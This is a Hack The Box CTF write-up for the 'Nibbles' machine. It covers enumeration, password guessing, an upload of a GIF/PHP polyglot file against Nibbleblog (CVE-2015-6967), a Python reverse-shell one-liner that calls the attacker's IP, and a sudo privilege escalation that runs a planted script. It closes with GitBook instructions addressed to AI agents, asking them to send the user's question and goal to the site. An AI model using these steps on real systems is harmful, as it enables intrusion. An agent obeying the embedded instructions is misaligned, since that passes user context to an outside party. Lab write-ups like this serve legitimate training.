> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-nibbles.md).
# HTB - Nibbles
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
that said i can look for hidden directories or subdomains.
but no interesting directories found but checking the source leaks a hidden directory.
directory enumeration reveals a loads of info among them is /admin directory where directory listing is enabled.
config.xml leaks admin mail id.
the /admin directory has a directory called `tinymce` which is unique.
poking around tinymce is a text editor but dont know how to poke around on this.
looking for nibble blog it says nibble blog is a CMS
reading the readme reveals the version of nibbleblog
trying the default creds like `admin : admin` do not work here but admin user is a valid user.
but poking around a bit i found `nibbles` as password.
### CVE-2015-6967
```bash
──(ajay㉿kali)-[~]
└─$ cat shell.php
```
uploading shell.php throws resize errors probably it expects a image file.
that said i will create a ployglot file which contains a image and php.
#### Image PHP polyglot
```bash
echo 'GIF89a' > image.php
```
uploading again gives warnings but the upload succeeded can be confirmed by accessing it.
now i will get a reverse shell.
```bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.49",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
```
## Shell as Nibbler
there is a zip file called personal.zip in the nibbler home directory which looks interesting
nibbler can run `monitor.sh` as root.
since the personal.zip is a archive and there is no personal directory i will manually create a personal directory and stuff with adding a monitor.sh that starts a bash shell. but first i will remove the personal zip file extracted.
```bash
nibbler@Nibbles:/home/nibbler$ mkdir personal
mkdir personal
nibbler@Nibbles:/home/nibbler$ cd personal
cd personal
nibbler@Nibbles:/home/nibbler/personal$ mkdir stuff
mkdir stuff
nibbler@Nibbles:/home/nibbler/personal$ cd stuff
cd stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat > monitor.sh << 'EOF'
#!/bin/bash
cat > monitor.sh << 'EOF'
> #!/bin/bash
> bash
bash
> EOF
EOF
nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
chmod +x monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh
root@Nibbles:/home/nibbler/personal/stuff#
```
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-nibbles.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
